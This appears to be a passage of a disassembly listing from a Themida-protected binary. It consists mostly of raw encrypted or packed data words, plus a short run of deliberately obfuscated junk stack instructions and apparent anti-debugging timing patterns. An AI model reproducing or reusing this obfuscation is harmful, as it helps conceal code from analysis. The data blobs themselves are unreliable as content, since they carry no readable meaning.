		dd 6E12D8C6h, 0B720276Dh, 57881C7Bh, 88933401h,	0F2098D49h
		dd 600EE640h, 63F4BA21h, 1D20394Bh, 36398256h, 785F23C5h
		dd 5ACDCD14h, 0BB3B7AEDh, 8938EEFFh, 72890FC6h,	7861E0F9h
		dd 7068EB32h, 0F6B7D92Ch, 0DD61D277h, 0FBB0FC18h, 58C78E2h
		dd 3A0475D8h, 0C5C33275h, 6FBFE4h, 6E830000h, 9DC4276Dh
		dd 48CA515Dh, 13C8360Eh, 61E0018Dh, 18B997D8h, 0E8F14EFCh
		dd 0DF2E7469h, 0A5E11554h, 8DB41546h, 97394C4Ah, 0FF226551h
		dd 4C3A0411h, 71h, 276D6E76h, 7DDA5DC4h, 0FC18B9FCh, 2339415h
		dd 0D3FC18B9h, 0C2E2F64h, 0B80F7709h, 0A25807A0h, 6CD9E714h
		dd 9E22D619h, 8B11C40Fh, 7C483270h, 0CABAAC04h,	95317F7Ch
		dd 22666EAFh, 0D7CF58DBh, 0C72F64C0h, 0AE5C73E4h, 0CCBDFB33h
		dd 0CA9C92FBh, 4385FC18h, 86E13C73h, 0D4C3A04h,	5E9ACDC9h
		dd 0A048952h, 85000000h, 0D5367E14h, 4566FB11h,	2C6A6E61h
		dd 54B7ECA8h, 0BBAEECEDh, 2CBD03F8h, 901CDE01h,	810FCA75h
		dd 0E2D29C7Ah, 32024C9Eh, 0E54214C4h, 0FC18B974h, 7D99D6ADh
		dd 4EF1D57Ah, 6AEB4CCFh, 0BBFC18B9h, 5E5C9DCCh,	0D43D8ECFh
		dd 1FACD52h, 2C97F64Dh,	80E1EDABh, 0B92E5157h, 0DB52D9D1h
		dd 797DACF0h, 5C6DEE3Dh, 0FBD96831h, 0D88EF9FAh, 53599EECh
		dd 867332B7h, 961CC100h, 7AE5C677h, 65EC3F7Dh, 5FD73674h
		dd 1CDD291Dh, 0D70A709Eh, 743FE655h, 11Eh, 7B49B2F5h, 97D86120h
		dd 4EF9FAF7h, 472384F1h, 0A3E7EFAEh, 83C211Ah, 0DF42B019h
		dd 198E01FAh, 0EB4281A1h, 0ABFB9C2Ch, 599F0B6h,	0F6018526h
		dd 27AF2E0Eh, 0BAD31863h, 46B3E33Ch, 7D3BBC27h,	0A1E71051h
		dd 0D8DE1B5Ah, 0DED8024Dh, 0C7269319h, 0ED80589Ch, 0B1B84EC9h
		dd 319BE25Fh, 0B5F93F37h, 2F74333h, 0BD101E84h,	123FE643h
		dd 34h,	55791854h, 0B91475D2h, 0F64DFC18h, 0B989CA97h
		dd 79E1FC18h, 3ABEE18Dh, 0F59C5576h, 0B9BDBE1Bh, 1F54FC18h
		dd 891ABFA2h, 38FC18B9h, 7B024743h, 38000000h, 768B7B18h
		dd 0ACA9CD19h, 0C96E114Eh, 1FA55A9h, 79F80378h,	6D9C3A80h
		dd 3F2A68FCh, 6344157Bh, 8ABDFBFCh, 7B8210CBh, 464C8FF2h
		dd 0E15B627h, 0FA740B21h, 261E48F9h, 67931FD8h,	0F7E0EE5Bh
		dd 80C3466Ah, 0EBEE5157h, 1A9D04A5h, 7912A05Bh,	2EDA8249h
		dd 73DCED91h, 7E31336h,	4AF5106Fh, 12FC0F8Dh, 0FB985C28h
		dd 0B2F750D7h, 0EB09CAD9h, 699CCA40h, 82FF3D60h, 39AE5E04h
		dd 0B60AED19h, 0BB7455F2h, 2A8FB296h, 2017CDDh,	23696C2Fh
		dd 0DC4A93D8h, 1CDD0467h, 0C831709Eh, 528F0DC8h, 0F5D86ECBh
		dd 0EFE86B21h, 0EA1352A9h, 0F17741A4h, 0A8FB305h, 0B902904Bh
		dd 8079C5B1h, 2CAD9C3Ah, 0CB7448B2h, 40BDBADAh,	53599EC1h
		dd 7560E38Ah, 400AD437h
		dd 0CBD10674h, 0E37D7ACFh, 0F3575F20h, 168B8C85h, 33012D78h
		dd 77F669A6h, 814961D2h, 52FBB084h, 73F9B656h, 0B4DFE8FDh
		dd 0D00B4ACDh, 8DF879C2h, 52298481h, 32689h, 0A75C0000h
		dd 2C686E9Dh, 5B6196D9h, 575B81C0h, 404E8D34h, 7341BA25h
		dd 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h, 8952F278h
		dd 4C281E2h, 83000000h,	148704EAh, 24248B24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	3FEh
		mov	[esp], esi
		mov	esi, 5E8CA41h
		mov	edx, esi
		pop	esi
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, edx
		push	edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], eax
		pop	edx
		pop	eax
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 23h,	21h, 0EFh
		dd 0CCE1E511h, 0A4F09D6Ah, 0DFB855EBh, 305E8CEh, 48E0FFC5h
		dd 9B1AE0DAh, 2E03268Ah, 0D1050504h, 6961CAD2h,	0B13C5165h
		dd 0DD389665h, 3E4D0B71h, 25760C8Eh, 8E3C2616h,	0DE631806h
		dd 12441DFDh, 3932A701h, 625ED516h, 0FB424326h,	7D2775E4h
		dd 2B037E37h, 717665BBh, 676A0ABh, 0F1EC4EAh, 0E86C1884h
		dd 9, 5389E48Dh, 5031A3Dh, 0E08166A5h, 0E95E9BDCh, 0Bh
		dd 31263751h, 7DDBE553h, 8174E24Bh, 72ACC6h, 9E900h, 0F2D90000h
		dd 493370C4h, 0BA0090AFh, 0
		dd 262202BFh, 3234FF5Fh, 5BBEDD80h, 0FE9h, 0CFBAFF00h
		dd 0F14EA70Ch, 4FCCB41Dh, 0D084CBD0h, 9A4AF381h, 8A0F3866h
		dd 6, 8A0Fh, 0EB810000h, 31EC66B1h, 81F7C580h, 9BD478F3h
		dd 81665333h, 8FD05AC0h, 880F1604h, 4, 2690BF66h, 2897EA81h
		dd 0C2814CEDh, 4CED2893h, 48F08166h, 8FA8111h, 0FFFFF8Eh
		dd 0FFFF9485h, 880F60FFh, 3, 57C7F680h,	615B6160h, 0BD83C08Bh
		dd 5E21EA9h, 83097500h,	0E21805BDh, 19740005h, 0C08B5350h
		dd 421B8h, 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h
		dd 5BD8358h, 5E218h, 53501774h,	421B8h,	5D858900h, 8D05E231h
		dd 0E4AFE99Dh, 5BD3FF05h, 8BC08B58h, 0E22A959Dh, 4985C605h
		dd 5605E20Ah, 0A8B85268h, 0A1B5FF9Ch, 8D05E216h, 0E57A6185h
		dd 6AD0FF05h, 10006804h, 0B5FF0000h, 5E21D9Dh, 0D0FF006Ah
		dd 850FC085h, 0Dh, 0B8h, 198D8D00h, 0FF05E272h,	8BC88BE1h
		dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 5E20695h
		dd 0E840F00h, 8B000000h, 0E206959Dh, 0CD858B05h, 8905E214h
		dd 8D525103h, 0E27B7D85h, 8BD0FF05h, 8BF18BFAh,	0F3C88BD1h
		dd 4985C6A4h, 5605E20Ah, 1F6D3968h, 0A1B5FFD4h,	8D05E216h
		dd 0E57A6185h, 68D0FF05h, 8000h, 0FF52006Ah, 83C08BD0h
		dd 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h, 8B535019h
		dd 421B8C0h, 85890000h,	5E21DD5h, 0B3619D8Dh, 0D3FF05E4h
		dd 0BD83585Bh, 5E21805h, 50177400h, 421B853h, 85890000h
		dd 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 0C08B585Bh, 6959D8Dh
		dd 38B05E2h, 840FC00Bh,	7, 5B8B038Bh, 0B8188904h, 4B41h
		dd 3BE9h, 0BD8B6000h, 5E21EDDh,	3304EF83h, 0BBC18BC9h
		dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
		dd 41FFFFFFh, 0F9810789h, 100h,	0FFD3820Fh, 0C361FFFFh
		dd 9D8DC88Bh, 5E20501h,	1300B8h, 11858900h, 0E805E21Fh
		dd 0
		dd 0D0558h, 3890000h, 1300E9h
		db 0
byte_55AF05	db 3 dup(0)		; DATA XREF: Themida_:004EE1B8o
		dd 360h	dup(0)
		db 3 dup(0)
byte_55BC8B	db 0			; DATA XREF: Themida_:004EF2A8o
					; Themida_:004F095Co
		dd 15Eh	dup(0)
		dd 75CAFE00h, 0CAA80461h, 0B08A40E9h, 0ABA80461h, 875EAD5h
		dd 0F0A80466h, 0BA8A40EEh, 0AD57AE5Dh, 788A40EEh, 0ABA80467h
		dd 0C375EAD5h, 93A80467h, 4D8A40EFh, 1DA80464h,	0C78A40ECh
		dd 0ABA80464h, 2575EAD5h, 0B2D1D42Fh, 0C00310C2h, 5140B4F2h
		dd 0A36D90A7h, 0D121544Ah, 4062F07Eh, 0B396D42Fh, 0C00310C2h
		dd 5140B4FAh, 0A21C90A7h, 0D121544Ah, 4062F04Ah, 0B345D42Fh
		dd 0C00310C2h, 5140B4C6h, 0ADC890A7h, 0D121544Ah, 4062F046h
		dd 0BC2ED42Fh, 0C00310C2h, 5140B4D2h, 0AD4590A7h, 0D121544Ah
		dd 4062F052h, 0BDB8D42Fh, 0C00310C2h, 5140B4DEh, 0ACDB90A7h
		dd 0D121544Ah, 4062F0AAh, 0BD3AD42Fh, 0C00310C2h, 5140B426h
		dd 0AC4190A7h, 0D121544Ah, 4062F0A2h, 5012B8C3h, 0CEDF152Ah
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AD6C26C0h, 0A8ED96A7h
		dd 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh,	0C6CB152Ah
		dd 0BA415564h, 0CE75EAD5h, 0F13AAE63h, 848FF73Ah, 11AB5342h
		dd 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 4162AD6Ch, 660351A2h, 0EE27BFEAh, 0BA8DDB2Fh, 947510C2h
		dd 0D9020112h, 0AD6430A0h, 0EC79AEA7h, 41AE51A1h, 7122DC09h
		dd 0BA8FFDC4h, 0DF103773h, 0C821732Ah, 0BC467428h, 0FD5BEA2Fh
		dd 508C152Bh, 60009881h, 0ABADB94Ch, 0EFD2A5FBh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 0AD6CE6C0h, 5CDDDAA7h, 828668A1h, 54A8ADE7h
		dd 0BACC152Ah, 0B6B5D830h, 0CE529E2Fh, 9783FC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 0AD6430A0h, 0D79AEA7h, 2320949Ah, 328C551Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 458A15C2h, 0BE290BA2h, 4062F260h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 0D775532Ah, 514A4C2Bh, 0CE19CDA1h
		dd 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 0AD6430A0h, 0D79AEA7h
		dd 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh, 174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h,	454A38F2h
		dd 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h
		dd 45869025h, 0A32851A2h, 8E4B7332h, 972337AAh,	38A1BE4Ch
		dd 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h
		dd 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h
		dd 8C22FD62h, 458AD507h, 0AB54D1A2h, 45939125h,	5D1151A2h
		dd 0B28A152Ah, 5B7AD453h, 458A1FAFh, 5610E0A2h,	0EF4B93E2h
		dd 7F039191h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 9D00B92Ah
		dd 0D4A7B222h, 860085E1h, 7122DC08h, 0BA8FFDC4h, 0FEF8E173h
		dd 0ABAF9FA7h, 8557544Ah, 6E20D6A0h, 29215DDFh,	174D6h
		dd 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh
		dd 458A15D6h, 54AFE9A2h, 0D775152Ah, 514A4107h,	0C8204526h
		dd 0BC467428h, 0F55BEA2Fh, 949BFB2Bh, 2E853186h, 50AC5962h
		dd 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h
		dd 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh,	0FE0451A2h
		dd 580387D5h, 8C235440h, 0EF491786h, 0BA8DDB2Fh, 947510C2h
		dd 0BD28E9C4h, 8600BE4Ch, 58D57A08h, 247668A3h,	9D541429h
		dd 108A1DE8h
		db 29h
byte_55C5C9	db 0BDh, 2Bh, 90h	; DATA XREF: Themida_:004EDE30o
		db 0D6h, 75h
word_55C5CE	dw 3001h		; DATA XREF: Themida_:004EEB18o
		dd 58D5DAAAh, 457650EDh, 0F8A851A2h, 0CC18EA80h, 0DFADB3BFh
		dd 8558B9E2h, 7132DC08h, 0BA8FFDC4h, 94103771h,	0CF2173E3h
		dd 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h
		dd 514A4C2Bh, 7726DDA1h, 0CE25FB63h, 4062FB0Fh,	0ECCE825Dh
		dd 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh,	4D48DCD6h
		dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 7732732Ah, 0D903376Bh, 0AD6430B0h, 327BAEA7h, 234B9592h
		dd 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh
		dd 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h,	0FDEC152Ah
		dd 0FFCEB824h, 0ABAF8FA7h, 8757544Ah, 320A09Ah,	0CE25FB0Eh
		dd 4062FB0Fh, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 0AD600EC0h, 0A8ED96A7h, 458A152Ah, 0DFA02429h, 79261957h
		dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh
		dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah
		dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h
		dd 4062F07Ah, 7332DCF1h, 0BA8FFDCCh, 0A8EDD871h, 458A42C3h
		dd 58DDAEA2h, 0C88260D5h, 0BC4D3138h, 0DF07462Fh, 5140B785h
		dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 0A0E68FA7h
		dd 0D9FB544Ah, 0AD6C32B0h, 0DD7BAEA7h, 5863E96Fh, 0ABA851A2h
		dd 3075195Fh, 2C32DCAAh, 168FFDCFh
		db 2Fh
byte_55C781	db 0CBh, 8Fh, 0B2h	; DATA XREF: Themida_:004F89AAo
		dd 967510C2h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
		dd 3044BAh, 28D8D00h, 6A05E8ECh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0F57DC351h,	0B70FD1BBh
		dd 12E850D0h, 36000000h, 25C1EB80h, 2B235447h, 6170E2AFh
		dd 0CA9C5C27h, 0D88B6628h, 8D895B5Eh, 5E20BE9h,	0DBBF0FF5h
		dd 76185C7h, 694805E2h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0FF7CAC3h, 66FD7E3Dh
		dd 739CA81h, 1B5585C7h,	5E2h, 11E80000h, 0A9000000h, 0E25C0D3Fh
		dd 0ADF7E0Fh, 0FCADC123h, 53A458C0h, 0BE9h, 18022600h
		dd 0A3EDD65Fh, 7EB47740h, 0E1DEB858h, 0B5FF6671h, 5E21D05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h
		dd 0E1958BAAh, 0FF05E21Eh, 0E20B1595h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 99B6F7DBh, 6890Fh, 85330000h, 5E20B55h, 32D58D29h, 6A05E2h
		dd 0AB995FFh, 0C08B05E2h, 81786CEBh, 67DFD10Ch,	11A55943h
		dd 858510C3h, 474D31F8h, 852790CCh, 0B42BAAC2h,	4A0F0E02h
		dd 0A3D43EBh, 50FB9799h, 8569ED94h, 1580C094h, 37D2D67Ah
		dd 0EAEA7A71h, 0BBEAB57Ah, 5CE7FB9Ch, 22E1A35Ch, 44EC076Ch
		dd 0FBE60A88h, 0A155EE31h, 4E69447Bh, 88E767C3h, 2C563DF7h
		dd 9C162273h, 854E5384h, 3693A573h, 18559FBEh, 0ED55CF08h
		dd 7A5E75FDh, 69A476F6h, 49BC56E6h, 2F062DFDh, 2F2983FDh
		dd 2F3EC0FDh, 2FB226FDh, 2F7710FDh, 2F950EFDh, 2FE4D7FDh
		dd 2F5CB4FDh, 2F00A3FDh, 2F29EEFDh, 2F3EA7FDh, 2FB418FDh
		dd 2F7065FDh, 2F925AFDh, 2FE327FDh, 2F5AE3FDh, 2F0637FDh
		dd 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh,	7A5A5CF4h
		dd 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh, 7BF374F5h
		dd 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 328676FDh, 324E75A8h
		dd 7ACB75A8h, 7BE475FDh, 7BF374FCh, 0B29074FCh,	1ABC75F8h
		dd 8AD5F070h, 0FFA67015h, 7F7F993Fh, 8A6AF070h,	0FF6C7015h
		dd 7F1A997Fh, 8AA6F070h, 0FF357015h, 7FB69943h,	8A10F070h
		dd 0FF1E7015h, 7F23997Bh, 951BF070h, 0FF7B7015h, 7F919977h
		dd 9420F070h, 0FFD77015h, 7FC79973h, 9439F070h,	0FF427015h
		dd 7F0D996Fh, 9436F070h, 0FFF07015h, 7F54996Bh,	9541F070h
		dd 0FFA67015h, 7F7F995Fh, 9420F070h, 0FF6C7015h, 7F1A9967h
		dd 9573F070h, 0FF357015h, 7FB69963h, 9530F070h,	0FF1E7015h
		dd 7F23995Fh, 95BCF070h, 0FF7B7015h, 7F91994Fh,	95C4F070h
		dd 0FFD77015h, 7FC7994Bh, 950CF070h, 0FF427015h, 7F0D9947h
		dd 9516F070h, 0FFF07015h, 7F54995Bh, 8A45F070h,	0FFA67015h
		dd 7F7F9957h, 8A7DF070h, 0FF6C7015h, 7F1A9953h,	67F0F076h
		dd 0FF35701Fh, 7FB69906h, 6A8AF076h, 0FF1E701Fh, 7F239902h
		dd 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 92527A17h, 3FD525F8h
		dd 80ADFDF5h, 22929D11h, 7ACFB734h, 29B723ACh, 7A1A20ADh
		dd 277975FDh, 948C987Ch, 0FFA07015h, 7FC7997Ch
		db 7Dh,	0C8h
word_55CAF6	dw 9616h		; DATA XREF: Themida_:004EF0D4o
		dd 9CF7015h, 75E4C5B4h,	0BAF9B54Bh, 0EF863589h,	7F549902h
		dd 2B96FEBDh, 7A2F7A45h, 85028AFDh, 0F7CE9D11h,	9209F748h
		dd 0FCC6F8F8h, 7E4B9D50h, 6FCF75FDh, 7A5E7645h,	85BA8AFDh
		dd 0F7929D11h, 9227F748h, 0FCD1F8F8h, 23228A50h, 0F787BC1Fh
		dd 7F54997Ch, 20052DA0h, 92EC2CA3h, 7A97776Dh, 79C1CD4Dh
		dd 81708A57h, 0D1F79D11h, 78079D3Eh, 0C2DA75FDh, 5954CD9Bh
		dd 0EFD0DE9Bh, 7F7F9906h, 9208DE9Bh, 7AE57795h,	72F3360Bh
		dd 0EF866E88h, 7F549906h, 7954C54Dh, 81BA8AADh,	20929D11h
		dd 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh, 7ABE4E15h
		dd 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh, 0D183FE4Dh
		dd 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h, 0D049C512h
		dd 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h,	207975FFh
		dd 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh,	0BA07F5DFh
		dd 85B5FF4Dh, 921E8E68h, 5F1F2FF8h, 71DA51FDh, 0B9F5133Fh
		dd 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h, 7AF22D15h
		dd 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h, 1C9775FCh
		dd 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh, 7BB69D56h
		dd 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh, 8CE575FCh
		dd 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh,	84487DF9h
		dd 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh, 7F919902h
		dd 967AC070h, 8A5D7015h, 0D02C7F51h, 966CE002h,	92087015h
		dd 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h, 0CA5E75FCh
		dd 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h, 4BFDCD9Bh
		dd 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h,	923C2257h
		dd 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h, 92438A00h
		dd 7A5E7505h, 79252D4Dh, 0FF69B657h, 7F239985h,	969DC87Dh
		dd 0FF37015h, 90FCF8ECh, 2AB99D11h, 7A5C6115h, 781B9DFDh
		dd 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h, 0F787DF9Ch
		dd 7F549985h, 9626C87Dh, 0F2F7015h, 9012F8F1h, 2ACE9D11h
		dd 7AE4DE15h, 7E4AB6FDh, 857975FDh, 92508A68h, 3DC3F8F8h
		dd 0F02A9D0Ch, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h, 0F1A875FDh
		dd 0F9BB5E3Ah, 78357115h, 81CB8A3Eh, 0CE2A9D11h, 0E96514Ah
		dd 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh,	0F0E675FDh
		dd 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7F239906h,	0FAEA917Dh
		dd 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h, 92ACB7D6h
		dd 0B995FCF9h, 7ACB7345h, 85708AFDh, 0F7F79D11h, 9295AB60h
		dd 39A0F8F8h, 7A4ECD3Eh, 0EFD075FDh, 7F7F9902h,	0F1CEB57Eh
		dd 0EF1A8935h, 7F1A9906h, 0B98E9757h, 8543BE15h, 7B1DFF02h
		dd 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h, 0F1A78908h
		dd 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 92DE2217h,	86EAFCF8h
		dd 9631CF7Dh, 75E57015h, 7AF2EC79h, 7A73CDFDh, 0E84375FDh
		dd 7FB69902h, 79ADFCBDh, 0F1929D10h, 5179F835h,	85E09D0Fh
		dd 921E8E6Fh, 3C7FFDF8h, 6D04801Fh, 795E75FDh, 92C2767Fh
		dd 0E01A35F8h, 7F2387E2h, 0F3E1B67Eh, 644B22FEh, 797975FDh
		dd 92517677h, 77ECF8F8h, 892A9D0Fh, 722F2B59h, 85CB75FDh
		dd 92098A6Fh, 7E0AF6F8h, 7C718589h, 7ABC7244h, 4B5A7DFDh
		dd 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h,	72F275FDh
		dd 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh, 5B7F44F9h
		dd 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh, 229C75FDh
		dd 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h, 3A7867C9h
		dd 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h, 7A2F7515h
		dd 90162FFDh, 7F2387C3h, 97E2CF70h, 0F797015h, 7A71CCF5h
		dd 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7F7F98FAh, 7BD3497Dh
		dd 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh, 0FB0475FDh
		dd 92DD0217h, 7D25F8F8h, 0F1CE9D10h, 725C7D80h,	89F275FDh
		dd 0B8B01459h, 0F7DC75F9h, 92B37240h, 0C3EF46F8h, 7A9775F5h
		dd 0B9AADF0Eh, 7D58F89Dh, 0FBF79D10h, 7B7874C2h, 0FBB000FCh
		dd 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch,	92087240h
		dd 7AF3CDF8h, 72C075FDh, 89BC75FDh, 0F19D1457h,	0F7EFFE3Dh
		dd 927A6178h, 8BD08AF8h, 8E8CAh, 8AB40000h, 0FDE05BB9h
		dd 60589284h, 0C08161F5h, 5943h, 4C09EAB9h, 66DB332Fh
		dd 7416C981h, 8B0334FFh, 0BF0F5ACFh, 13C281FFh,	807E2829h
		dd 0F28190C9h, 1DBDDC4Eh, 814EF180h, 0E02645C2h, 5E90Bh
		dd 0B9380000h, 5290AA19h, 0C0A7B966h, 0F18048Fh, 0B8Ah
		dd 6E900h, 0E2410000h, 93166342h, 0AE95756h, 0CA000000h
		dd 49DC9887h, 0DF72AB62h, 835F5F5Eh, 810F04EBh,	6, 1663E681h
		dd 0FB816E33h, 0FFFFA74Ch, 0FF8E850Fh, 0BF0FFFFFh, 16EBF6h
		dd 4 dup(0)
		dd 1000000h, 3E401h, 8B05E800h,	0E20B118Dh, 0BA665005h
		dd 48954D8h, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0E578FB3Fh, 0EBF3652h, 6A12B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C2C35343h, 0F5F1C40h
		dd 282h, 6A3FB100h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 9D896FA0h, 5E21871h, 0F499858Dh
		dd 0BD8B05E8h, 5E20C9Dh, 0C8C0F50h, 50000000h, 50310F52h
		dd 5A310F52h, 89585A58h, 0AE82404h, 0E7000000h,	0DD975B86h
		dd 0DC119474h, 6A5BF0h,	818CB966h, 8DB5006Ah, 1E2D95FFh
		dd 665105E2h, 54B2E181h, 649E95Ah, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0A1EEC5C3h
		dd 0BA49A49Eh, 6850Fh, 958B0000h, 5E20561h
dword_55D150	dd 0E8h, 0ED815D00h, 5E8F49Eh, 0E855006Ah, 3, 5DC35D20h
					; DATA XREF: Themida_:004EFDBCo
		dd 4246C89h, 4244481h, 15h, 96C35545h, 3CBA668Fh, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 1424FC71h, 5BD7BF66h, 0FFB15568h, 50606093h
dword_55D1A8	dd 5A310F52h, 8D0F58h, 61000000h, 0BA616060h, 62C6D14Dh
					; DATA XREF: Themida_:004EEE34o
		dd 4816161h, 5E4B24h, 51006A6Ch, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 4FF843B8h, 667C1A2Ch
		dd 9D89D18Bh, 5E22105h,	0AB995FFh, 0BD8B05E2h, 5E22B61h
		dd 64D18166h, 80B58D9Ch, 0E905E8F3h, 5,	2F61E8F4h, 5206C70Bh
		dd 336D6765h, 0E21BA9BDh, 446C705h, 6C636E6Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 10C35242h, 68DAE5Eh
		dd 0BD8B5B13h, 5E22651h, 610846C7h, 6A007373h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 1E48C353h, 0D38166FFh, 6AA7C8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 6CC35242h, 860F856Fh, 4, 5AFE8B50h
		dd 0F380858Dh, 6A05E8h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 2EF93CC3h, 0E8BA0E07h, 9E990h, 58DE0000h
		dd 491DA462h, 50A188E1h, 94EBBAB9h, 6A9003h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6AF0C3C3h
		dd 0F8988D9h, 0B8Eh, 5E800h, 0E1EB0000h, 59D19F1Ah, 75D8D89h
		dd 0BB5105E2h, 3752325Ah, 9995FF5Bh, 0BB05E231h, 0A390E04h
		dd 840FC00Bh, 30h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
